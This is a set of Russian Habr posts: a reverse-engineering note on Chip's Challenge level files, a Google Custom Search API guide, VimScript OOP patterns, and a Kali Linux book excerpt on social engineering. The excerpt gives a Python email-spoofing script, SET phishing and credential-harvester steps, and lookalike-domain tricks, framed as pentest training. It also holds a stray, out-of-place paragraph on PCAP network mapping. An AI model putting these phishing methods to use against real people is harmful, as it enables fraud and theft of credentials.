Изучение первой пары байтов в оставшейся части быстро намекает нам, что они содержат ещё одно 16-битное целочисленное значение. Если считать их так, то большинство значений оказывается в десятичной записи круглыми числами:
Команда `od` для перехода к исходному смещению использует `-j` вместо `-s`. Также стоит заметить команду `printf`: кроме обеспечения форматирования, она является удобным способом вывода текста без висящего в конце символа новой строки.
>
> ```
> $ for f in levels/* ; do printf "%-20s" $f ; python ./decompress2.py <$f | od -An -j 0x580 -tuS -N2 ; done | less
> levels/all_full.pak 400
> levels/alphabet.pak 0
> levels/amsterda.pak 500
> levels/apartmen.pak 300
> levels/arcticfl.pak 400
> levels/balls_o_.pak 300
> levels/beware_o.pak 300
> levels/blink.pak 600
> levels/blobdanc.pak 0
> levels/blobnet.pak 500
> levels/block_fa.pak 500
> levels/block_ii.pak 750
> levels/block_n_.pak 600
> levels/block_ou.pak 350
> levels/block.pak 450
> levels/bounce_c.pak 300
> levels/brushfir.pak 80
> levels/cake_wal.pak 999
> levels/castle_m.pak 600
> levels/catacomb.pak 399
> levels/cellbloc.pak 0
> levels/chchchip.pak 300
> levels/chiller.pak 399
> levels/chipmine.pak 700
> lines 1-24/148 (more)
> ```
>
Если мы снова обратимся к списку, изначально созданному из данных, которые ожидали найти в файлах, то осознаем, что это число — время на прохождение уровня (если значение равно нулю, то на уровне нет ограничения по времени).
После этих двух байтов данные становятся более изменчивыми. Тот факт, что для большинства уровней в файле остаётся примерно по десятку байт, серьёзно ограничивает их содержимое:
>
> ```
> $ python ./decompress2.py
> ```
>
Например, в этом уровне остаётся всего девять байтов. Учтём этот ограниченный размер, а также тот факт, что эти девять байт содержат четыре вхождения значения `17`, собранных в две пары. Мы сразу же заметим, что паттерн из чисел `17` соответствует паттерну букв `L` в названии уровня «ALL FULL». Название имеет длину восемь символов, так что нулевой байт в конце скорее всего является символом конца строки. Обнаружив это, можно тривиальным образом просмотреть все другие уровни и использовать их названия для сборки полного списка символов:
| | |
| --- | --- |
| `00` | конец строки |
| `01` | пробел |
| `02`–`0B` | цифры 0-9 |
| `0C`–`25` | буквы A-Z |
| `26`–`30` | знаки препинания |
Для большинства уровней файл данных на этом заканчивается. Однако у пары десятков за названием ещё есть данные. Если мы взглянем на список, то увидим, что есть уровни с кнопками подсказок, и эти оставшиеся данные содержат текст строки подсказки уровня, закодированный тем же набором символов, что и названия уровней.
После этого мы достигли конца всех файлов. Теперь у нас есть полное описание схемы данных уровней. Наша задача выполнена.
### Незавершённые дела
Внимательный читатель может заметить, что изначально мы ожидали найти в этих файлах ещё два элемента, которые так ни разу и не встретили. Мы объясним отсутствие обоих:
Первый элемент — это количество чипов, т.е. общее число чипов, которые должен собрать игрок, чтобы пройти через разъём чипа. Как мы говорили изначально, часто оно равно общему количеству чипов на уровне, но так бывает не всегда. Поэтому эти данные каким-то образом нужно получать. Ответ можно найти, изучив карты тех уровней, на которых есть лишние чипы. Оказывается, что для обозначения чипов используется два разных значения. Значение `23` мы обнаружили изначально, но также используется значение `31`, обозначающее чип, который не влияет на общее количество, необходимое для открытия разъёма чипа. (Однако, с точки зрения геймплея оба типа чипа одинаковы. Если на уровне есть один чип типа `31`, то на уровне можно не собирать любое количество чипов.)
Второй элемент — это четырёхбуквенный пароль уровня. Он не скрыт нигде в данных уровня. К сожалению, этот задачу не решить дальнейшим исследованием файла данных. Мы вынуждены заключить, что пароли просто хранятся где-то в другом месте. Самое вероятное объяснение: они жёстко прописаны где-то в самой программе. Однако позже выяснилось, что пароли не хранятся напрямую. От людей, знакомых с самим кодом, я узнал, что пароли генерируются динамически с помощью генератора псевдослучайных чисел, инициализируемого определённой последовательностью. Следовательно, пароли к уровням невозможно изменять напрямую, это можно сделать только изменением ассемблерного кода.
### Послесловие
Выполнив полный реверс-инжиниринг данных в файлах уровней, я мог начать писать программу, способную кодировать и декодировать данные уровней. Благодаря ей я смог создать долгожданный редактор уровней для версии *Chip's Challenge* под Lynx, и наличие этого инструмента сильно повысило мои возможности по изучению логики игры, а также улучшило качество её эмуляции.
Но… должен признаться, что лично я выполнял обратную разработку файлов данных не в описанном выше порядке. Я начал с другого конца — с определения строковых данных. Я принялся изучать файлы первых восьми уровней. Так как они называются с «LESSON 1» по «LESSON 8», я искал в них данные одинаковых подстрок. И мне повезло: ни одно из названий этих уровней не подверглось сжатию, поэтому все восемь названий хранятся в файлах данных в исходном виде. Разумеется, меня смутило, что эти строки хранятся не в символах ASCII, но двойная S в названии помогла мне обнаружить паттерн, повторяющийся во всех восьми файлов данных. А найдя название, я узнал кодировку символов букв, цифр и символа пробела. Затем я применил это кодирование к остальной части файла и сразу после названия увидел строки подсказок, и начал наблюдать аномалии:
Великолепная утилита `tr` упрощает преобразование собственного набора символов файлов данных в ASCII.
>
> ```
> $ tr '\001-\045' ' 0-9A-Z'
> ```
>
Например, в тексте подсказки есть два места, где последовательность из S и пробела заменена на правую скобку. Эти аномалии дали мне достаточно улик, чтобы дедуктивно вычислить наличие сжатия и получить некую информацию о её природе. Позже я связал аномальные байтовые значения с их вхождениями ближе к началу файла данных. (Например, в показанном выше шестнадцатеричном дампе по смещению `00000035` есть правая скобка, за которой следует заглавная S и пробел.) Из этого я вычислил схему сжатия аналогично описанному в статье процессу. Всё остальное было довольно просто.
Мне кажется, из этого можно извлечь такой урок: нет единственно верного способа исследования незнакомого файла данных. Любые инструменты, которые подойдут вам — это подходящие инструменты для реверс-инжиниринга. | https://habr.com/ru/post/447562/ | null | ru | null |
# Custom Google Search View
Вы знаете, сколько данных вы качаете из сети каждый раз, чтобы увидеть вот эту страничку?
Если без браузерного кэша, то 600 килобайт (в gzip-e) и 38 запросов. Если с кэшем, то 70 килобайт и 7-8 запросов.
Вы знаете, что такое 600 килобайт? Это оба тома «Войны и мира» Льва Николаевича Толстого в том же gzip-e.
Конечно, отрадно, что Google Inc. пичкает нас таким количеством полезной информации. Про сами результаты поиска даже говорить не приходится — тут и картинки, и справочная информация из Википедии, и часы работы, и карта, и отзывы. Но иногда хочется чего-то простого и лаконичного. Без изнасилованных ссылок, без продаваемых ~~товарищу майору~~ сторонним маркетологам твоих веб кампейнов. Чтобы не тормозило на устаревших смартфонах и перегруженных мобильных сетях.
Можно, конечно, запроксировать запросы к поисковику через свой скрипт, с вивисекцией всего ненужного, но, к счастью, сам Google предлагает элегантное решение — доступ к своему Search API с выдачей чистых результатов в JSON или XML формате.
Вот часть JSON ответа для примера:
**JSON**
```
{
"kind": "customsearch#search",
"url": {
"type": "application/json",
"template": "https://www.googleapis.com/customsearch/v1?q={searchTerms}#={count?}&start={startIndex?}&lr={language?}&safe={safe?}&cx={cx?}&sort={sort?}&filter={filter?}≷={gl?}&cr={cr?}&googlehost={googleHost?}&c2coff={disableCnTwTranslation?}&hq={hq?}&hl={hl?}&siteSearch={siteSearch?}&siteSearchFilter={siteSearchFilter?}&exactTerms={exactTerms?}&excludeTerms={excludeTerms?}&linkSite={linkSite?}&orTerms={orTerms?}&relatedSite={relatedSite?}&dateRestrict={dateRestrict?}&lowRange={lowRange?}&highRange={highRange?}&searchType={searchType}&fileType={fileType?}&rights={rights?}&imgSize={imgSize?}&imgType={imgType?}&imgColorType={imgColorType?}&imgDominantColor={imgDominantColor?}&alt=json"
},
"queries": {
"request": [
{
"title": "Google Custom Search - habr",
"totalResults": "327000",
"searchTerms": "habr",
"count": 10,
"startIndex": 1,
"inputEncoding": "utf8",
"outputEncoding": "utf8",
"safe": "off",
"cx": "0019687164026253:oi9ssr7ci6e"
}
],
"nextPage": [
{
"title": "Google Custom Search - habr",
"totalResults": "327000",
"searchTerms": "habr",
"count": 10,
"startIndex": 11,
"inputEncoding": "utf8",
"outputEncoding": "utf8",
"safe": "off",
"cx": "00156687164026253:oi9ssr7ci6e"
}
]
},
"context": {
"title": "v-gornom.ru"
},
"searchInformation": {
"searchTime": 0.531851,
"formattedSearchTime": "0,53",
"totalResults": "327000",
"formattedTotalResults": "327 000"
},
"items": [
{
"kind": "customsearch#result",
"title": "Лучшие публикации за сутки / Хабр",
"htmlTitle": "Лучшие публикации за сутки / \u003cb\u003eХабр\u003c/b\u003e",
"link": "https://habr.com/",
"displayLink": "habr.com",
"snippet": "Хабр – самое крупное в Рунете сообщество людей, занятых в индустрии \nвысоких технологий. Уникальная аудитория, свежая информация, ...",
"htmlSnippet": "\u003cb\u003eХабр\u003c/b\u003e – самое крупное в Рунете сообщество людей, занятых в индустрии \u003cbr\u003e\nвысоких технологий. Уникальная аудитория, свежая информация, ...",
"cacheId": "Wg3CgcvcAxUJ",
"formattedUrl": "https://habr.com/",
"htmlFormattedUrl": "https://\u003cb\u003ehabr\u003c/b\u003e.com/",
"pagemap": {
"cse_thumbnail": [
{
"width": "311",
"height": "162",
"src": "https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcT9MbmejtANdWSuXxH7pxKqWNFFRzPiTQuLmhWk5Tc5-Y-AgUgPrwEz0MV9"
}
],
"metatags": [
{
"viewport": "width=1024",
"fb:app_id": "444736788986613",
"og:type": "website",
"fb:pages": "472597926099084",
"og:site_name": "Хабр",
"og:image": "https://habr.com/images/habr.png",
"og:image:width": "1200",
"og:image:height": "628",
"og:title": "Лучшие публикации за сутки / Хабр",
"og:description": "Хабр – самое крупное в Рунете сообщество людей, занятых в индустрии высоких технологий. Уникальная аудитория, свежая информация, конструктивное общение и коллективное творчество – всё это делает Хабр самым оригинальным IT-проектом в России.",
"yandex-verification": "71593b225aeafc4e",
"referrer": "unsafe-url",
"pocket-site-verification": "ed24b2b9721edf0a282c5b4a3232c4",
"application-name": "Хабр",
"msapplication-tilecolor": "#77a2b6",
"theme-color": "#77a2b6"
}
],
"cse_image": [
{
"src": "https://habr.com/images/habr.png"
}
]
}
},
{
"kind": "customsearch#result",
"title": "Хабр — Википедия",
"htmlTitle": "\u003cb\u003eХабр\u003c/b\u003e — Википедия",
"link": "https://ru.wikipedia.org/wiki/%D0%A5%D0%B0%D0%B1%D1%80",
"displayLink": "ru.wikipedia.org",
"snippet": "Хабр (бывший Хабрахабр) — русскоязычный веб-сайт в формате \nколлективного блога с элементами новостного сайта, созданный для \nпубликации ...",
"htmlSnippet": "\u003cb\u003eХабр\u003c/b\u003e (бывший \u003cb\u003eХабрахабр\u003c/b\u003e) — русскоязычный веб-сайт в формате \u003cbr\u003e\nколлективного блога с элементами новостного сайта, созданный для \u003cbr\u003e\nпубликации ...",
"cacheId": "lB7MkUOxB7gJ",
"formattedUrl": "https://ru.wikipedia.org/wiki/Хабр",
"htmlFormattedUrl": "https://ru.wikipedia.org/wiki/\u003cb\u003eХабр\u003c/b\u003e",
"pagemap": {
"cse_thumbnail": [
{
"width": "220",
"height": "130",
"src": "https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQqJU0itnwYGZAd6Z5aMJO0izPfF7cab6pc40vm0sujOP2dSgkP-UB0Je1T"
}
],
"metatags": [
{
"referrer": "origin",
"og:image": "https://upload.wikimedia.org/wikipedia/ru/7/7f/Habrahabr_logo.png"
}
],
"cse_image": [
{
"src": "https://upload.wikimedia.org/wikipedia/ru/7/7f/Habrahabr_logo.png"
}
]
}
},
```
> В этой статье мы напишем View для Google Custom Search, которое будет обладать мощью Google и удовлетворять наши приземленные желания.
Чтобы получить доступ Google Custom Search API сперва нужно получить идентификатор своей поисковой системы. Для этого надо зарегистрировать систему пользовательского поиска на странице [cse.google.com](http://cse.google.com)
Заходим на сайт, добавляем поисковую систему, указываем произвольный сайт, заходим в панель управления и получаем идентификатор поисковой системы.
Теперь надо получить токен для доступа к Custom Search API.
Заходим на [console.cloud.google.com](http://console.cloud.google.com) (предполагается, что аккаунты на обоих сайтах у вас уже есть), создаем проект, в левом боковом меню выбирает «API и сервисы» → «Панель управления» → «Включить API и сервисы», ищем там «Custom Search API», выбираем, включаем, затем создаем учетные данные — а именно, «Ключ API». Можно ограничить использование данного ключа только на своих IP, можно не делать этого.
Всё. Теперь мы можем отправлять запросы Google вот такой строкой:
`https://www.googleapis.com/customsearch/v1?key={apikey}&cx={sid}&q=query`
Где {apikey} — токен доступа, {sid} — идентификатор поиска.
В ответ мы получим чистенький JSON.
C помощью [простого php скрипта](https://github.com/altrusl/misc/blob/master/index.php) мы получаем наше View, даже с некоторым приближением к оригиналу. Первая страница:
Результаты поиска:
Первая страничка — 2Кб, с результатами поиска — 6Кб.
Дело тут не только в минимализме. Google в JSON ответе выдает кучу интересной информации и позволяет задать запрос с не меньшей кучей параметров. Подробнее [тут](https://developers.google.com/custom-search/json-api/v1/reference/cse/list). Можно даже сделать то, что не позволяет основная страница поисковика.
Есть, конечно, и минусы — ограничение в 100 запросов в день. Остальное за доллары.
Кстати, захостить наш php скриптик можно тоже на Google и тоже абсолютно бесплатно — на <https://appengine.google.com>. Правда, тут уже придется изрядно помучиться — FTP, web file manager и корневые директории сайта для Google рудименты. Поэтому придется превратить php скрипт в аппликейшн, засунуть его в энджин и с помощью специальной консоли задеплоить в облака.
Задача, на самом деле, не тривиальная. Не зря Google собирается вводить новую сертификацию — Google Certified User. | https://habr.com/ru/post/421173/ | null | ru | null |
# Humane VimScript: минималистичная объектная ориентация
 Я считаю VimScript крайне недружелюбным, но неожиданно мощным языком. К счастью его возможно одружелюбить, чем я и предлагаю вам заняться в этом цикле статей. Здесь мы рассмотрим некоторые решения типичных задач на VimScript с использованием объектно-ориентированной парадигмы, но не будем касаться основ этого языка. Возможно статья будет интересна так же программистам, интересующимся нестандартной реализацией ставших нам привычными решений.
Объектная-ориентация может быть минималистичнее
===============================================
Возможно некоторые из вас уже читали мои статьи о VimScript и изучали мою библиотеку [vim\_lib](https://github.com/Bashka/vim_lib), не правда ли она удобна и проста в использовании? **Не правда**! Порой "запахи кода" так режут мне глаза, что я не могу его читать. Даже слабый "запашок" вызывает у меня непреодолимое желание сделать "лучше", "правильнее", "проще". К счастью это не сложно, достаточно все еще больше упростить и у меня это получилось, но сейчас не об этом. В этом цикле статей я лишь приведу шаблонные решения (паттерны если вам будет угодно) конкретных задач, а не буду изобретать новую библиотеку.
За более чем год использования моего класса Object в VimScript я убедился, что он содержит "код для галочки", от которого можно безболезненно избавится. Когда появляется "такой запах", это означает что пора все упрощать. В частности от чего можно смело отказаться при реализации объектно-ориентированной модели в VimScript:
* Классы — их нет как таковых. Класс сводится к набору методов и конструктору, который умеет создавать объекты, расширять их этими методами и инициализировать свойства
* Инкапсуляция — чем городить костыльный велосепед, проще условится и не использовать свойства объекта напрямую. Раз язык не реализует инкапсуляцию на прямую, не следует мучать его
* Статичные свойства и методы — это полезная вещь, но не настолько полезная, чтобы заполнять конструктор условиями, выбирающими только не статичные свойства и методы для копирования в объект. Если нужна статика, лучше реализовать ее в виде глобального сервиса
Возможно вы уже задаетесь вопросом: "Как же реализовать объектно-ориентированную модель без классов?" — все крайне просто. Для этого нам нужна одна функция на каждый тип объектов, которая называется конструктором. Эта функция должна создавать и возвращать нам инициализированный объект с нужной структурой. Напоминает JavaScript, не так ли? Вот как это выглядит в готовом виде:
**Базовый класс**
```
let s:Parent = {}
function! s:Parent.new(a) dict
return extend({'a': a:a}, s:Parent)
endfunction
function! s:Parent.setA(a) dict
let l:self.a = a:a
endfunction
function! s:Parent.getA() dict
return l:self.a
endfunction
let s:pobj = s:Parent.new('foo')
echo s:pobj.getA() " foo
```
Четыре строчки кода для реализации целого класса. Это решение сводится к инициализации нового словаря и расширению (с помощью функции extend) его методами прототипа.
Далее рассмотрим реализацию наследования с переопределением конструктора и одного из методов родительского класса:
**Дочерний класс**
```
let s:Child = {}
function! s:Child.new(a, b) dict
return extend(extend({'b': a:b}, s:Parent.new(a:a)), s:Child)
endfunction
function! s:Child.setB(b) dict
let l:self.b = a:b
endfunction
function! s:Child.getB() dict
return l:self.b
endfunction
function! s:Child.getA() dict
return call(s:Parent.getA, [], l:self) . l:self.b
endfunction
```
Всего то конструктор дополняется еще одним вызовом функции extend, что позволяет расширить базовый словарь сначала объектом родительского класса, а затем методами прототипа (дочернего класса). В свою очередь вызов родительского метода из переопределяющего так же довольно просто реализуется с помощью функции call (аналог apply в JavaScript).
Дальнейшее наследование реализуется без добавления новых вызовов extend:
**Дальнейшее наследование**
```
let s:SubChild = {}
function! s:SubChild.new(a, b, c) dict
return extend(extend({'c': a:c}, s:Child.new(a:a, a:b)), s:SubChild)
endfunction
```
Миксины
=======
Внимательный читатель уже догадался, что здесь реализовано множественное наследование, что позволяет использовать миксины:
**Дальнейшее наследование**
```
let s:Publisher = {}
function! s:Publisher.new() dict
return extend({'listeners': {}}, s:Publisher)
endfunction
let s:Class = {}
function! s:Class.new() dict
return extend(extend({}, s:Publisher.new()), s:Class)
endfunction
```
Интерфейсы
==========
Полиморфизм очень важная часть объектно-ориентированной парадигмы, и я не мог обойти ее стороной, тем более у меня имеется несколько плагинов, для которых она необходима. Чтобы сделать ее реальностью необходим метод instanceof, позволяющий оценить семантику класса. Все что от него требуется, это проверить, присутствуют ли в объекте методы, объявленные в целевом классе и если да, то можно считать его экземпляром данного класса. Почему именно методы, а не свойства? Потому что мы условились работать с объектами через методы. Это так называемая "[Утиная типизация](https://ru.wikipedia.org/wiki/%D0%A3%D1%82%D0%B8%D0%BD%D0%B0%D1%8F_%D1%82%D0%B8%D0%BF%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F)".
**instanceof**
```
function! s:instanceof(obj, class)
for l:assertFun in keys(filter(a:class, 'type(v:val) == 2'))
if !has_key(a:obj, l:assertFun)
return 0
endif
endfor
return 1
endfunction
echo s:instanceof(s:childObject, s:Parent) " 1
echo s:instanceof(s:childObject, s:SubChild) " 0
```
Имея такую прекрасную функцию, не сложно реализовать интерфейсы, определяющие семантику будущих классов:
**Пример интерфейса**
```
let s:Iterable = {}
function! s:Iterable.valid() dict
endfunction
function! s:Iterable.next() dict
endfunction
function! s:Iterable.current() dict
endfunction
let s:Iterator = {}
function! s:Iterator.new(array) dict
return extend(extend({'array': a:array, 'cursor': 0}, s:Iterable), s:Iterator)
endfunction
function! s:Iterator.valid() dict
return exists('l:self.array[l:self.cursor]')
endfunction
function! s:Iterator.next() dict
let l:self.cursor += 1
endfunction
function! s:Iterator.current() dict
return l:self.array[l:self.cursor]
endfunction
let s:iterator = s:Iterator.new([1,2,3])
echo s:instanceof(s:iterator, s:Iterable) " 1
```
Важно помнить, что объекты расширяются классом интерфейса, а не его экземпляром. Впрочем, как в любом другом языке.
JSON — легко!
=============
Для кого то это будет открытием, но JSON — это двоюродный брат VimScript! Не верите? Я вам это докажу:
**JSON**
```
let s:childObj = s:Child.new(1, 2)
let s:json = string(filter(s:childObj, 'type(v:val) != 2'))
echo s:json " {'a': 1, 'b': 2}
echo eval(s:json) == s:childObj " 1
```
Пока все
========
Надеюсь эта статья вас заинтересует и побудит попробовать этот замечательный редактор. Если так, то я постараюсь сделать вашу жизнь проще в следующих статьях. | https://habr.com/ru/post/278623/ | null | ru | null |
# Книга «Kali Linux: библия пентестера»
[](https://habr.com/ru/company/piter/blog/688486/) Как дела, Хаброжители?
Пентестеры должны в совершенстве знать Kali, чтобы эффективно выполнять свои обязанности. В книге есть все об инструментах и способах, которыми пользуются хакеры при взломе систем. Вы научитесь выстраивать надежную защиту от несанкционированного доступа к виртуальным ресурсам. Вне зависимости от уровня подготовки и начинающий, и практикующий пентестер почерпнет важные для себя сведения.
**О чем эта книга**
Прочитав эту книгу, вы:
● получите полное представление о сотнях инструментов тестирования на проникновение, доступных в Kali Linux;
● освоите весь спектр методов этичного хакинга, чтобы повысить эффективность своей работы и получить желанные сертификаты;
● узнаете, как работает тестирование на проникновение на практике, и восполните пробелы в своих знаниях, чтобы стать экспертом в этой области;
● откроете для себя инструменты и методы, используемые хакерами, знание которых поможет повысить защиту вашей сети.
### Атаки методом социальной инженерии
Читая книгу, я обычно ненавижу длинные вступления, в которых не раскрывается тема. Итак, перейдем к делу. В этой главе вы узнаете о социальной инженерии и различных методах, которые помогут вам воспользоваться человеческими слабостями. Обратите внимание: данная книга посвящена обучению принципам, которые вы можете применять в любом инструменте, установленном в Kali Linux.
Целевые фишинговые атаки
------------------------
Что такое фишинг? Это мошенничество с использованием электронной почты, направленное против большого количества жертв; содержит элемент, представляющий общий интерес, который привлечет людей к работе с электронной почтой. Например, письмо может рекламировать бесплатный флакон с лекарством и содержать вредоносную ссылку или вложение. Злоумышленник рискует и полагается на тот факт, что некоторые люди будут щелкать на ссылке или вложении, чтобы инициировать атаку. Большинство из нас, вероятно, удалило бы вредоносное электронное письмо, но мы можем предположить, что некоторые его откроют.
Целевой фишинг — очень специфическая форма фишинг-атаки. Создавая сообщение электронной почты определенным образом, злоумышленник надеется привлечь внимание определенной аудитории (скажем, отдела продаж компании, разработчиков и т. д.).
Например, если злоумышленник знает, что отдел продаж использует определенное приложение для управления отношениями с клиентами, то может подделать электронное письмо, сделав вид, что оно пришло от поставщика приложения, указав в теме «Чрезвычайная ситуация» и выдав пользователям инструкцию щелкнуть на ссылке, чтобы скачать копию, исправление или обновление. Как вы думаете, сколько торговых представителей перейдут по этой ссылке?
### Отправка электронного письма
Прежде чем переходить к практическому примеру, осветим два важных момента, которые вы должны знать до того, как отправлять электронное письмо своим жертвам:
● для начала вам необходимо иметь учетную запись SMTP relay (я использую свой сервис ретрансляции GoDaddy). Проведите небольшое исследование, чтобы найти сервис, который вам подходит;
● вам нужна профессиональная и убедительная электронная почта, иначе ваша атака неизбежно потерпит неудачу.
### Social Engineer Toolkit
Набор инструментов для социальной инженерии (Social Engineer Toolkit, SET), написанный специалистом по кибербезопасности Дэвидом Кеннеди, предназначен для выполнения сложных атак против человеческих слабостей; такие атаки известны как социальная инженерия. В Kali Linux этот инструмент уже предустановлен по умолчанию. Чтобы запустить его, вам нужно будет выполнить команду setoolkit в окне терминала:
```
root@kali:/# setoolkit
```
Чтобы отправить электронное письмо, выберите в первом меню пункт Social-Engineering Attacks (Атаки с использованием социальной инженерии):
```
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third-Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set> 1
```
Затем выберите Mass Mailer Attack (Массовая рассылка писем) (пункт № 5):
```
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector
9) Powershell Attack Vectors
10) Third-Party Modules
99) Return back to the main menu.
set> 5
```
В следующем окне у вас есть возможность отправить это электронное письмо группе людей или одному человеку. Посмотрим, как будет выглядеть наш сценарий атаки на электронную почту.
Для этого примера предположим, что вы, как член красной команды, притворяетесь представителем Microsoft и отправляете электронное письмо администратору (сотруднику, который обслуживает блог компании по этическому взлому), чтобы сообщить, что машина администратора нуждается в обновлении. Электронное письмо содержит вредоносный URL, по которому администратор должен перейти. Целенаправленная фишинговая атака требует тщательного планирования, поэтому подумайте о содержании своего электронного письма, прежде чем отправлять его.
Возвращаясь к нашему меню SET, мы отправим электронное письмо одному человеку. Выберем вариант № 1 и нажмем Enter:
```
What do you want to do:
1. E-Mail Attack Single E-mail Address
2. E-Mail Attack Mass Mailer
99. Return to the main menu.
set:mailer>1
```
Мы отправляем это электронное письмо администратору ethicalhackingblog.com. (Однако не забудьте проверить эти упражнения на каком-нибудь адресе, который принадлежит вам.)
```
set:phishing> Send email to:admin@ethicalhackingblog.com
1. Use a Gmail Account for your e-mail attack.
2. Use your own server or open relay
set:phishing>2
```
Когда вы увидите предыдущие варианты, у вас возникнет соблазн выбрать Gmail, поскольку это бесплатно и вам не нужна учетная запись почтового сервера-ретранслятора, верно? Что ж, если вы попробуете, то Google с радостью заблокирует ваши вложения. Итак, не используйте Gmail. Мы ведь профессионалы, а не хакеры-дилетанты! Мы используем релейную учетную запись, поэтому выберем вариант № 2.
Электронное письмо должно быть получено от Microsoft. Итак, заполните информацию о сервере. (Эта часть должна отражать информацию о вашем сервере, а не о моем!)
На рис.. 5.1 показано, как это выглядит, когда администратор получает электронное письмо.
Обратите внимание на следующие две вещи в электронном письме:
● грамматические ошибки не допускаются. Например, слово following в этом сообщении использовано неверно, так что это заставит усомниться в подлинности электронного письма;
● если вы хотите использовать URL, то убедитесь, что он близок к реальному доменному имени. Например, micosoft (без r) очень похож на Microsoft.
### Отправка электронной почты с помощью Python
Python — отличный язык для выполнения задач при тестировании на проникновение. Позже в данной книге вы узнаете обо всех тонкостях этого языка программирования. На данный момент следующий код показывает, как отправлять электронные письма, не полагаясь на приложение, которое сделает это за вас. Вы можете назвать сценарий sendemail.py и запустить после того, как заполните недостающую информацию:
```
#Используйте библиотеку smtplib, чтобы отправить e-mail
import smtplib
#Конфигурации
#Ваш e-mail адрес, настоящий
sender_email = [e-mail отправителя]
#Ваше имя для e-mail
username = [имя аккаунта smtp]
#Пароль для вашего e-mail
password = [Ваш пароль SMTP]
#Подделанные данные e-mail
spoofed_email = [ненастоящий e-mail адрес]
#Придуманное полное имя
spoofed_name = 'John Doe'
#e-mail адрес жертвы
victim_email = [e-mail адрес жертвы]
# Тема письма
subject= "Это тема\n"
# Тело вашего письма
body = "This is a body."
```
```
header = ('To:' + victim_email + '\n' +'From: ' + spoofed_name + ' <' +
spoofed_email + '>' + '\n' + 'Subject:' + subject)
message = (header + '\n\n' + body + '\n\n')
```
```
try:
session = smtplib.SMTP_SSL([домен smtp-сервера],[номер порта
smtp-сервера])
session.ehlo()
session.login(username, password)
session.sendmail(sender_email, victim_email, message)
session.quit()
print "Email Sent With Success!"
except smtplib.SMTPException:
print "Error: Unable To Send The Email!"
```
### Кража учетных данных
Пришло время раскрыть наиболее выгодный и эффективный метод социальной инженерии, который вы можете использовать для атаки.
Просто предупреждение: это не руководство, которое вы можете использовать против своих друзей, чтобы украсть их пароли. Это профессиональная книга для людей, которые хотят научиться применять данный вид атак в своей работе.
Чтобы начать эту атаку, вам сначала нужно подготовить профессиональное электронное письмо в формате HTML и убедиться, что оно не вызовет никаких сомнений, когда жертва его получит. Разработчик может помочь вам клонировать сайт и прикрепить к нему базу данных, чтобы каждый раз, когда жертвы отправляют свои учетные данные, они сохранялись в этой базе данных. Если вы хотите попрактиковаться, то можете также использовать SET, чтобы выполнить эту задачу.
Откройте и загрузите приложение (вы уже научились запускать приложение ранее) и выполните следующие действия.
1. Выберите вариант № 1: Social-Engineering Attacks (Атаки методом социальной инженерии).
2. Выберите вариант № 2: Website Attack Vectors (Вектор атак на сайты).
3. Выберите вариант № 3: Credential Harvester Attack Method (Атака для сбора учетных данных).
4. Выберите вариант № 2: Site Cloner (Клонирование сайта).
```
set:webattack> IP address for the POST back in Harvester/Tabnabbing
[10.0.20.140]: [Введите IP-адрес вашей Kali]
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https: [Введите URL клонируемого сайта]
[*] Cloning the website: https://10.0.20.1/#/login
[*] This could take a little bit...
The best way to use this Attack is if username and password form fields
are available. Regardless, this captures all POSTs on a website.
[*] The Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
```
В идеале собирать PCAP нужно во время сканирования сети, чтобы проверить, куда дотягивается сканер. Кроме того, следует провести несколько сканирований сети, при этом минимум одна конечная точка в каждой подсети должна сканировать свою подсеть. Эти сканирования можно вручную объединить в топологию карты сети, как показано на рис. 1.4. Определите элементы, которые можно автоматизировать, чтобы этот процесс было легче повторить в будущем.
Посмотрите, насколько полезна будет ваша карта для красной и синей команд. Соберите отзывы, повторите процесс составления и получите карту лучшего качества за меньшее время.
Вторая важная часть — это ссылка, которую вы собираетесь добавить в свое электронное письмо. Как лучше всего скрыть этот URL? Что ж, простой ответ — создать домен, а затем создать поддомен, который является копией исходного. В качестве примера возьмем домен Facebook.com. Чтобы получить успешный результат, создайте поддельный домен с похожим именем, например Fcb.com, а затем создайте поддомен Facebook.com. Вот как это должно выглядеть:
```
facebook.fcb.com
```
Я не призываю вас использовать Facebook в вашем тесте. У вас нет разрешения Facebook на выполнение данного действия. Это просто для примера.
На практике красные команды и пентестеры должны будут использовать сайт либо работодателя, либо клиента. Отличный реалистичный пример — клонирование сайта интрасети вашего клиента/работодателя, чтобы вы могли украсть учетные данные домена жертвы. Затем вы отправите электронное письмо своей жертве, как было показано выше. В идеале вы использовали убедительное электронное письмо, побуждающее сотрудников щелкнуть на URL, который перенаправит сотрудников на поддельный сайт. Сотрудники начнут вводить свои учетные данные и после нажатия кнопки входа в систему будут перенаправлены на настоящий сайт. Теперь у злоумышленника есть учетные данные несчастных жертв.
Полезная нагрузка и слушатели
-----------------------------
В этом разделе вы узнаете, как создать полезную нагрузку и слушатель. Если вы новичок, то ниже описаны основные принципы, которые вам нужно знать, прежде чем продолжить.
Полезная нагрузка — это исполняемый файл, который позволит вам подключиться к слушателю. Цель состоит в том, чтобы установить TCP-соединение между хостом-жертвой и злоумышленником. Как только оно будет установлено, хакер сможет управлять операционной системой жертвы с помощью удаленной командной оболочки (командной строки). Эта удаленная командная оболочка может быть либо прямым шеллом (командной оболочкой), либо обратным.
### Прямое и обратное подключение
Прежде чем мы перейдем к следующей главе этой книги, очень важно понять разницу между прямым и обратным подключением. Многие любители и профессионалы в области безопасности имеют неправильное представление об этих двух концепциях. Мы воспользуемся некоторыми практическими примерами, которые помогут вам их понять.
#### Прямой шелл
